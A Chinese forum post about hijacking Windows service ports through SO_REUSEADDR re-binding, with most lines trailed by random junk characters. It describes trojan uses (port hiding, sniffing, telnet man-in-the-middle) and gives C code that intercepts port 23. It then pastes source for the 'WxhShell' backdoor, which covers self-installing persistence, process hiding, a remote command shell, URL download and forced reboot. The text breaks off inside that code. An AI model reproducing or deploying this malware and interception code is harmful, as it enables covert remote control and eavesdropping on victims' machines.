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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f:n]Exsy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d]^\w'w$  
mipi]*ZfXE  
  saddr.sin_family = AF_INET; FAH[5VD r%  
"ugX /r$_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5JO[+>  
xWd9%,mDNR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M|1eqR%x-?  
N5[_a/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~l;yr @  
(PRaiE  
  这意味着什么?意味着可以进行如下的攻击: s4!|v`+$M  
H?rSP0.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cZPbD;e:  
cjCE3V9X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q,OkO?uY  
ztRWIkI q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rd|@*^k  
%{N>c:2I$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _JfJ%YXy  
l*~"5f03  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =4YbVA+(  
i)A`Vpn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _Cu[s?,kS  
R1]v}f_I"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gn-=##fT:i  
$xKg }cO  
  #include }`+O$0A  
  #include dL1~]Z y  
  #include [d!Af4  
  #include    >VpP/Qf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dM);LT8@  
  int main() 0S)"Q^6n y  
  { Hj}g1"RA  
  WORD wVersionRequested; z'5;f;  
  DWORD ret; ^4n2 -DvG  
  WSADATA wsaData; Ws2prh^e(  
  BOOL val;  9OrA9r  
  SOCKADDR_IN saddr; FE$M[^1_  
  SOCKADDR_IN scaddr; 'DaNR`9  
  int err; WyKUvVi  
  SOCKET s;  9'L1KQ  
  SOCKET sc; ^N*pIVLC  
  int caddsize; *Y| lO  
  HANDLE mt; 34&u]4=L)  
  DWORD tid;   #o(?g-3  
  wVersionRequested = MAKEWORD( 2, 2 ); *!-}lc^4  
  err = WSAStartup( wVersionRequested, &wsaData ); h$#4ebp  
  if ( err != 0 ) { (.jO:#eE%  
  printf("error!WSAStartup failed!\n"); X=S}WKu  
  return -1; E9~&f^f  
  } ;Xnk+  
  saddr.sin_family = AF_INET; f~n' Ki+'  
   O3sla bE#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Yke<Wy1  
mI{CM: :  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "B_5Y&pM`  
  saddr.sin_port = htons(23); Zq2H9^![y~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @j)f(Zlu#  
  { ~FK+bF?%  
  printf("error!socket failed!\n"); rRF+\cP?.  
  return -1; Z_eqM4{  
  } cOj +}Hz58  
  val = TRUE; qiwQUm{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $G^H7|PzdC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BP7<^`i&  
  { yKX:Z4I/  
  printf("error!setsockopt failed!\n"); \kua9bK  
  return -1; xc3Ov9`8%  
  } %j 9vX$Hj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7;$L&X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ss|6_H =  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VC_3ll]vr  
XY$cx~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RP ScP  
  { #/& q  
  ret=GetLastError(); AOvH&9**  
  printf("error!bind failed!\n"); hs -}:^S`  
  return -1; #U6/@l)  
  } /_ hfjCE  
  listen(s,2); ul5::  
  while(1)  ^qSf  
  { qB` 0^V  
  caddsize = sizeof(scaddr); qqO10~Xc  
  //接受连接请求 9v5.4a}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x r+E  
  if(sc!=INVALID_SOCKET) <+mO$0h"r  
  { gvwCoCbb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9e :d2  
  if(mt==NULL) s525`Q;  
  { Ed ?Yk* 4  
  printf("Thread Creat Failed!\n"); |?pYJkrYO  
  break; NZi'eZ{^`  
  } 2yVGE p^  
  } [8om9 Z3  
  CloseHandle(mt); BhhK| U/  
  } $)i"[  
  closesocket(s); Si%Eimiq  
  WSACleanup(); U 8 .0L  
  return 0; e-T9HM&%P  
  }   S4uR \|  
  DWORD WINAPI ClientThread(LPVOID lpParam) #q^>qX y  
  { :jN;l  
  SOCKET ss = (SOCKET)lpParam; G41$oalQ1  
  SOCKET sc; nu1w:  
  unsigned char buf[4096]; H~1? MAX  
  SOCKADDR_IN saddr; ./5MsHfbxt  
  long num; 16d{IGMz  
  DWORD val; ' m# Ymp  
  DWORD ret; 'DB({s  
  //如果是隐藏端口应用的话,可以在此处加一些判断  ZeDDH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )9;kzp/  
  saddr.sin_family = AF_INET; X~/ 9Vd g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YRT}fd>R&  
  saddr.sin_port = htons(23); [;kj,j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iR4,$Nn>  
  { 36D,el In  
  printf("error!socket failed!\n"); rqG6Ll`=+  
  return -1; r0XGGLFuZl  
  } >=RHE@  
  val = 100; :[$i~V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *TMM:w|1  
  { @tU>~y{E  
  ret = GetLastError(); [$Xu  
  return -1; GQc%OQc\  
  } %@,:RA\pm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5tbiNm^X  
  { q=i,'.nS  
  ret = GetLastError(); h11bK'TIv  
  return -1; c+ H)1Dfq  
  } n*]x02:LjZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *SpO|*'  
  { :d/:Ga5v!  
  printf("error!socket connect failed!\n"); wE=8jl*  
  closesocket(sc); NIcNL(]  
  closesocket(ss); # xE>]U  
  return -1; 'XjHB!!hU  
  } l>Oe ,`9O  
  while(1) PeR<FSF ,i  
  { MJk:s[o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HoQ(1e$G-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8B(Q7Qj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?eZ"UGZg'  
  num = recv(ss,buf,4096,0); A_dYN?^?|  
  if(num>0) {~ vPq  
  send(sc,buf,num,0); z8MpE  
  else if(num==0) vN[m5)aT  
  break; jl|X$w  
  num = recv(sc,buf,4096,0); Z_TbM^N  
  if(num>0) @eD2<e  
  send(ss,buf,num,0); W71#NjM2Z  
  else if(num==0) ]{l O  
  break; ;Q%19f3,6  
  } \}_7^)S;  
  closesocket(ss); i2Iu 2  
  closesocket(sc); sZ(Q4)r  
  return 0 ; P<w>1 =  
  } E9NGdp&-Ah  
Nl>b'G96  
Ay. q)  
========================================================== 1F%*k &R  
r:b.>5CS)  
下边附上一个代码,,WXhSHELL kKTED1MW&W  
r4qV}-E  
========================================================== UM;bVf?  
Xv;ZAa  
#include "stdafx.h" kA$;vbm  
'[M2Q"X  
#include <stdio.h> 0DjBqh$  
#include <string.h> *xX0]{49q  
#include <windows.h> ;{#M  
#include <winsock2.h> SX94,5 _Q  
#include <winsvc.h> P xuz {  
#include <urlmon.h> N=}Z#  
hB1iSm  
#pragma comment (lib, "Ws2_32.lib") A-NC,3  
#pragma comment (lib, "urlmon.lib") )e$-B]>7z  
~<Qxw>S#  
#define MAX_USER   100 // 最大客户端连接数 bqLYF[#T  
#define BUF_SOCK   200 // sock buffer t7& GCZ  
#define KEY_BUFF   255 // 输入 buffer oML K!]a  
D}C*8s bC}  
#define REBOOT     0   // 重启 Le+8s LE`Y  
#define SHUTDOWN   1   // 关机 dJgOfg^  
GAe_Z( T  
#define DEF_PORT   5000 // 监听端口 $+yQ48Wq  
=(uy':Dbn*  
#define REG_LEN     16   // 注册表键长度 K>E!W!-PJ  
#define SVC_LEN     80   // NT服务名长度 J};,%q_  
8Y kH  
// 从dll定义API -cC(d$y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); olW`.3f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _p^ "!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %y~]3XWik  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h.0&)t\q"  
jT_Tx\k  
// wxhshell配置信息 WN?`Od:y  
struct WSCFG { -|UX}t*  
  int ws_port;         // 监听端口 $zH 0$aOx  
  char ws_passstr[REG_LEN]; // 口令 2G*#Czr"  
  int ws_autoins;       // 安装标记, 1=yes 0=no s%re>)=|  
  char ws_regname[REG_LEN]; // 注册表键名 )1'_g4  
  char ws_svcname[REG_LEN]; // 服务名 T_ #oMXZ/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "U~@o4u;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ymJw{&^am  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :re(khZq#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H_^u_ %:e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `SpS?mWA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tWy<9TF  
QRix_2+  
}; I ywx1ac  
GOgT(.5  
// default Wxhshell configuration  PW\FcT  
struct WSCFG wscfg={DEF_PORT, G(,~{N||  
    "xuhuanlingzhe", 6>^k9cJp  
    1, m.X+sP-e  
    "Wxhshell", Q ?<9  
    "Wxhshell", Ol^EQLO  
            "WxhShell Service", 9O_N iu0  
    "Wrsky Windows CmdShell Service", mqxy(zS]  
    "Please Input Your Password: ", y^fU_L?p  
  1, sX?7`n1U  
  "http://www.wrsky.com/wxhshell.exe", c7N9X 3A  
  "Wxhshell.exe" \?I wR]@y  
    }; g#&##f  
{N`<e>A]{  
// 消息定义模块 d|HM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AMiFsgBj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QxL FN(d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _\6(4a`,  
char *msg_ws_ext="\n\rExit."; M?CMN.Dw  
char *msg_ws_end="\n\rQuit."; pIjVJ9+j  
char *msg_ws_boot="\n\rReboot..."; ]@g$<&  
char *msg_ws_poff="\n\rShutdown..."; h2*&>Mc  
char *msg_ws_down="\n\rSave to ";  ~&jCz4M  
fXQRsL8 ]  
char *msg_ws_err="\n\rErr!"; q/G5aO*  
char *msg_ws_ok="\n\rOK!"; CzbNG^+  
`cRB!w=KHV  
char ExeFile[MAX_PATH]; -w0>4JDs  
int nUser = 0; 7l EwQ  
HANDLE handles[MAX_USER]; YA8~O5  
int OsIsNt; =&xoyF  
<08V-   
SERVICE_STATUS       serviceStatus; Kt0Tuj@CY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <;"=ah7A  
cC]1D*Bn  
// 函数声明 CR=MjmH  
int Install(void); %P6!vx:&^b  
int Uninstall(void); N* -Z Jv  
int DownloadFile(char *sURL, SOCKET wsh); _ h-X-s Y  
int Boot(int flag); HK.J/Zr  
void HideProc(void); cW%O-  
int GetOsVer(void); jg/<"/E  
int Wxhshell(SOCKET wsl); xz'd5 re%  
void TalkWithClient(void *cs); <5^(l$IBj  
int CmdShell(SOCKET sock); U /Fomu  
int StartFromService(void); VG7#6)sQoK  
int StartWxhshell(LPSTR lpCmdLine); r $2   
AXI:h"so  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9^olAfX`dB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xb;m m9H  
MPc=cLv  
// 数据结构和表定义 uwzT? C A6  
SERVICE_TABLE_ENTRY DispatchTable[] = K>6p5*&  
{ znRhQ+8;!  
{wscfg.ws_svcname, NTServiceMain}, g>CQO,s;w  
{NULL, NULL} a"4 6_>  
}; {P+[C O  
c^k. <EA  
// 自我安装 -qF|Y f  
int Install(void)  K>eG5tt  
{ 1=.?KAXR  
  char svExeFile[MAX_PATH]; O,v$'r W  
  HKEY key; *5)!y d  
  strcpy(svExeFile,ExeFile); >$F]Ss)$  
3!W&J  
// 如果是win9x系统,修改注册表设为自启动 RkM!BcB  
if(!OsIsNt) { bq ]a8tSB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {xH@8T$DX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I-"{m/PEdg  
  RegCloseKey(key); b5R*]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y6a|\K|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s9>!^MzBK  
  RegCloseKey(key); BD+?Ad?  
  return 0; l"8YIsir  
    } 7L"/4w  
  } jyr#e  
} .IU+4ENSy4  
else { ] ={Hq9d@  
cGKk2'v?  
// 如果是NT以上系统,安装为系统服务 z(qz(`eGC&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?CDq^)T[  
if (schSCManager!=0) q4oZJ-`  
{ ,,gYU_V  
  SC_HANDLE schService = CreateService !NjE5USi  
  ( IgL8u  
  schSCManager, *Y~64FM  
  wscfg.ws_svcname, *Yw6UCO  
  wscfg.ws_svcdisp, 70eN]OY  
  SERVICE_ALL_ACCESS, :Ib\v88WIv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d\M !o*U  
  SERVICE_AUTO_START, `314.a6S  
  SERVICE_ERROR_NORMAL, ,~#hHhR_  
  svExeFile, EK_^#b  
  NULL, sP%.o7&n  
  NULL, aT#|mk=\  
  NULL, 0 M?}S~p]  
  NULL, dGe  
  NULL CS49M  
  ); I4'j_X t  
  if (schService!=0) %+~0+ev7r  
  { 75f.^4/%  
  CloseServiceHandle(schService); "?SnA +)  
  CloseServiceHandle(schSCManager); [qB=OxH?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @$]h[   
  strcat(svExeFile,wscfg.ws_svcname); /_\4( vvf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /Y:Zqk3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HFOp4  
  RegCloseKey(key); p(Mv^ea  
  return 0; ;f Gi5=-  
    } 3Daq5(fLP  
  } xmDwoLU  
  CloseServiceHandle(schSCManager); :|Cf$2k7  
} 9tO_hhEQ@  
} f&'md  
-5K/ cK  
return 1; , utFCZW  
} 4p.O<f;A8  
G)Y!aX  
// 自我卸载 _[W=1bGJ  
int Uninstall(void) U' Cp3>  
{ DNPK1e3a{  
  HKEY key; x& S>Mr  
{$^|^n5j  
if(!OsIsNt) { _17"T0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mD! imq%=  
  RegDeleteValue(key,wscfg.ws_regname); _ sd?l  
  RegCloseKey(key); gK /K Z8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4)_ [)MZ\j  
  RegDeleteValue(key,wscfg.ws_regname); e]QkZg2?Yn  
  RegCloseKey(key); #~b9H05D  
  return 0; `m5iZxhw  
  } aO1cd_d6x_  
} uw]Jm"=w  
} ryN-d%t?  
else { /Q-!><riD  
PLD!BD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s6I]H  
if (schSCManager!=0) <OUAppH  
{ c1i7Rc{q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >qCT#TY  
  if (schService!=0) 0Ko,S(M_  
  { hjE9[{K  
  if(DeleteService(schService)!=0) { 9pXFC9  
  CloseServiceHandle(schService); dU,/!|.K  
  CloseServiceHandle(schSCManager); ?k#% AM  
  return 0; qF ?S[Z;  
  } < qBPN{'a"  
  CloseServiceHandle(schService); dZ*o H#B  
  } LBg#KQ @  
  CloseServiceHandle(schSCManager); )lbF'.i  
} V47 Fp  
} @azS)4L  
WKG=d]5  
return 1; 1na[=Q2  
} E] [DVY  
bpkn[K"(  
// 从指定url下载文件 99 [ "I:  
int DownloadFile(char *sURL, SOCKET wsh) UxW~yk  
{ 7 ?Fl [FW$  
  HRESULT hr; ;.Kzc3yz}  
char seps[]= "/"; v[x`I;  
char *token; NoMC* ",b>  
char *file; jV(IS D  
char myURL[MAX_PATH]; B~^\jRd "  
char myFILE[MAX_PATH]; ^JTfRZ :a  
?@~FT1"6G  
strcpy(myURL,sURL); f*Kipgp  
  token=strtok(myURL,seps); {1o=/&  
  while(token!=NULL) gVGq  
  { G 6][@q  
    file=token; z# y<QH  
  token=strtok(NULL,seps); -I -wdyDr  
  } -$7Jc=:>  
<C&UD j  
GetCurrentDirectory(MAX_PATH,myFILE); | c;S'36  
strcat(myFILE, "\\"); v#~,)-D&  
strcat(myFILE, file); }Eav@3h6  
  send(wsh,myFILE,strlen(myFILE),0); H Q2-20  
send(wsh,"...",3,0); VAq:q8(K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RR"#z'zQ  
  if(hr==S_OK) r )T`?y  
return 0; t*COzE  
else :A[ Gtc(_  
return 1; ( nBsf1l  
zmdOL9"a  
} .8"o&%$`V  
As"'KR  
// 系统电源模块 +/ #J]v-  
int Boot(int flag) cJt#8P  
{ rTi.k  
  HANDLE hToken; \UXQy{Ex  
  TOKEN_PRIVILEGES tkp; B$\5=[U  
9U+^8,5  
  if(OsIsNt) { t<e?f{Q5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s#4 "f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V@$B>HeK  
    tkp.PrivilegeCount = 1; 7B'0(70  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }%VHBkuc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1Ao"DxZHy7  
if(flag==REBOOT) { "MyYu}AD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rP*?a~<  
  return 0; *6uiOtH  
} Fr3Q"(  
else { qWWy}5SOm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C4b3ZcD2  
  return 0; *bR _ C"-  
} FCg,p2  
  } W7.]V)$wM  
  else { aUd6 33  
if(flag==REBOOT) { h322^24-2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) il:+O08_  
  return 0; _3)~{dQ+  
} g >X!Q  
else { F.JE$)B2EX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nF7Ozxm#  
  return 0; ^f4qs  
} ]+J]}C]\d  
} ?A]:`l_"  
 6CCM7  
return 1; I+}h+[W  
} V;>p@uE,P  
`LNRl'Z m  
// win9x进程隐藏模块 ~x824xW  
void HideProc(void) Wt_@ vs@.O  
{ d=q2Or   
6Z7{|B5}Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W4Zi?@L>'  
  if ( hKernel != NULL ) c: _l+CgeH  
  { {uq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `2GHB@S"k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SV-pS>#  
    FreeLibrary(hKernel); *r[PZ{D+  
  } ;X\,-pjv  
SC'fT!  
return; 1;SWfKU?.  
} c\n\gQ:LQ  
`2 {x 8A  
// 获取操作系统版本 tM~R?9OaJ  
int GetOsVer(void) ,*Sj7qb#  
{ {gzL}KL  
  OSVERSIONINFO winfo; EWbFy"=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xaejG/'iK  
  GetVersionEx(&winfo); SeKU ?\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !5pnl0DK*  
  return 1; O"^KX5  
  else CmM K\R.  
  return 0; _8kZ>w(L  
} z0a=A:+/  
F $B _;G  
// 客户端句柄模块 =! /S |  
int Wxhshell(SOCKET wsl) Ow<=K:^  
{ xoPpu  
  SOCKET wsh; %b0..Zz  
  struct sockaddr_in client; 98G>I(Cw%  
  DWORD myID; Hj LY\.S  
L= hPu#&/  
  while(nUser<MAX_USER) @MTm8E6au  
{ <!R~G-D#_T  
  int nSize=sizeof(client); _r&`[@m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a3JG&6-  
  if(wsh==INVALID_SOCKET) return 1; !fjDO!,!  
v-EcJj%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1%t9ic  
if(handles[nUser]==0) EC|t4u3  
  closesocket(wsh); o|$l+TC  
else R Mrh@9g  
  nUser++; Fd9ypZs  
  } d_]zX;_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); le`fRq8f&  
t*~V]wZ  
  return 0; Fep#Pw1  
} +,f|Y6L<  
*ax$R6a#X  
// 关闭 socket V~%!-7?  
void CloseIt(SOCKET wsh) c&J,O1){\  
{ 44b;]htv  
closesocket(wsh); Z-.`JkKd8  
nUser--; m o nqaSF  
ExitThread(0); 0DV .1  
} 5_9mA4gs@  
^,qi` Tk  
// 客户端请求句柄 7NE"+EP\{2  
void TalkWithClient(void *cs) Rra<MOR  
{ ".Luc 7  
C0Z mv  
  SOCKET wsh=(SOCKET)cs; ~A(fn:d  
  char pwd[SVC_LEN]; +"'cSAK  
  char cmd[KEY_BUFF]; Qk *`9  
char chr[1]; [}}?a   
int i,j; y}Oc^Fc  
'1_CMr  
  while (nUser < MAX_USER) { $OldHe[p  
gDa}8!+i  
if(wscfg.ws_passstr) { =`Pgo5A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sEm-Td+A5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mfc\w'  
  //ZeroMemory(pwd,KEY_BUFF); pa*bqPi  
      i=0; 3dTz$s/[  
  while(i<SVC_LEN) { 8m\* ~IX=  
DY/xBwIF  
  // 设置超时 9@/ X;zO  
  fd_set FdRead; \]1qAFB5  
  struct timeval TimeOut; T%B&HsH  
  FD_ZERO(&FdRead); W_8N?coM  
  FD_SET(wsh,&FdRead); w3WBgH  
  TimeOut.tv_sec=8; slaYr`u  
  TimeOut.tv_usec=0; ,4M7:=gf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nr8#/H2f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^}fc]ovV  
CB]#`|f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^{lcj  
  pwd=chr[0]; p#g o<Y#  
  if(chr[0]==0xd || chr[0]==0xa) { Q'>pOtJG*J  
  pwd=0; )O*\}6:S  
  break; 3|x*lmit  
  } :[YHJaK  
  i++; LX2rg\a+%  
    } E">FH >8K}  
lA>^k;+>  
  // 如果是非法用户,关闭 socket Y@B0.5U2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R~ n[g  
} P'MfuTtT&  
)_BQ@5NK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (?4m0Sn>#h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .5*5S[  
c&me=WD  
while(1) { @K .{o'  
EIQ`?8KSR  
  ZeroMemory(cmd,KEY_BUFF); UEHJ? }  
&y_Ya%Z3*e  
      // 自动支持客户端 telnet标准   X?whyD)vE@  
  j=0; 2t 7':X  
  while(j<KEY_BUFF) { [QwEidX|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )B'&XLK  
  cmd[j]=chr[0]; VZF;  
  if(chr[0]==0xa || chr[0]==0xd) { n.is+2t  
  cmd[j]=0; a8nqzuI  
  break; cip5 -Z@8  
  } W cOyOv  
  j++; *Cf5D6=Q  
    } {02$pO  
c[VVCN8dA  
  // 下载文件 ;\a?xtIy  
  if(strstr(cmd,"http://")) { R `K1L!`3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >V1vw7Pa  
  if(DownloadFile(cmd,wsh)) +guCTGD:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|(;SY  
  else !r^fX=X>'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8_$[SV$q  
  } F^4mO|  
  else { `4IZ4sPi  
k0r93 xa  
    switch(cmd[0]) { +q*WY*gX  
  f[1 s4Dp3-  
  // 帮助 9!} ?}`'_  
  case '?': { YOOcHo.F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !U::kr=t  
    break; y[`>,?ns5  
  }  N$ oQK(  
  // 安装 BN7]u5\7  
  case 'i': { Mbm'cM&}  
    if(Install()) !#&`1cYX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xu%_Zt2/?j  
    else J(>T&G;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1FA:"0lO  
    break; KpX1GrIn3  
    } s#cb wDT  
  // 卸载 okm }%#|  
  case 'r': { O}s Mqh  
    if(Uninstall()) P*6h $T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B<$(Nb5<  
    else ~#MXhhqB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b I"+b\K  
    break; !}lCwV  
    } )B*D\9\Z  
  // 显示 wxhshell 所在路径 Q6PaT@gs  
  case 'p': { Z1}@N/>>  
    char svExeFile[MAX_PATH]; iWGn4p'  
    strcpy(svExeFile,"\n\r"); o[^nmHrM2  
      strcat(svExeFile,ExeFile); =0t<:-?.-  
        send(wsh,svExeFile,strlen(svExeFile),0); %fuV]  
    break; /6 y9 u}  
    } F:7 d}Jx  
  // 重启 43.Q);4  
  case 'b': { jhR`%aH4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >\?RYy,s$  
    if(Boot(REBOOT)) 8/vGA=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Z8qd{.$q  
    else { Uee(1  
    closesocket(wsh); s3-TBhAv  
    ExitThread(0); eC{St0  
    } 8AVtUU  
    break; ?ESsma6  
    } 3d`u!i?/  
  // 关机 b9;w3Ba  
  case 'd': { 4^Ke? ;v  
